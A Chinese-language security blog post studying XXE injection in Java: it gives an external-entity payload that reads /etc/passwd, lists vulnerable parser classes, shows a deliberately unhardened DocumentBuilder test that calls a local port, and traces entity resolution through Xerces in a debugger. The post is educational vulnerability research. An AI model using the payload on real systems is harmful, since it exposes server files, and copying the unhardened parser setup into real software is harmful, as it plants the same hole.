Hu3sky's blog

JAVA XXE

Word count: 462 / Reading time: 2 min
2019/10/02 Share

前言

没接触过java xxe,于是学习一下java xxe

关于XXE

这个和php里的xxe几乎没什么差别,都是外部实体的引用,payload也一样

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><username>&xxe;</username><password>123456</password></user>

可能造成XXE的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester

java xxe demo

Java常用解析XML的方式有DOM,SAX,JDOM和DOM4j
编写测试代码(DOM)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package me.gv7.javaxxe;

import org.w3c.dom.Document;
import org.xml.sax.SAXException;
import javax.xml.parsers.*;
import java.io.ByteArrayInputStream;
import java.io.InputStream;

public class DOMXXETest {
public static void main(String[] args) throws ParserConfigurationException,SAXException,Exception{
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
String str = "<!DOCTYPE doc [ \n" +
"<!ENTITY win SYSTEM \"http://127.0.0.1:1664\">\n" +
"]><doc>&win;</doc>";
InputStream is = new ByteArrayInputStream(str.getBytes());
Document doc = db.parse(is);
}
}

漏洞验证

在终端开启nc
image
成功收到请求

漏洞分析

下断点跟进
image

之后会调用/com/sun/org/apache/xerces/internal/impl/XMLDocumentFragmentScannerImpl.javascanDocument进行xml的扫描

执行顺序
先扫描Document部分,接着扫描DTD部分,然后进入Element部分
(如果是参数实体引用 (即%[name];) ,则会在DTD阶段进行求值)
image

element时接着进入
image
image

对文本扫描,获取第一个字符的ascii,38也就是&
image

然后进入判断
image
这时设置状态为引用(SCANNER_STATE_REFERENCE)
回到next,进入
image
进入
image
首先获取引用的name,也就是win

1
2
protected void scanEntityReference(XMLStringBuffer content) throws IOException, XNIException {
String name = fEntityScanner.scanName();

然后进入
image

继续跟
image
再跟进
image

建立连接
image

调用链
image

CATALOG
  1. 1. 前言
  2. 2. 关于XXE
  3. 3. 可能造成XXE的函数
  4. 4. java xxe demo
    1. 4.1. 漏洞验证
    2. 4.2. 漏洞分析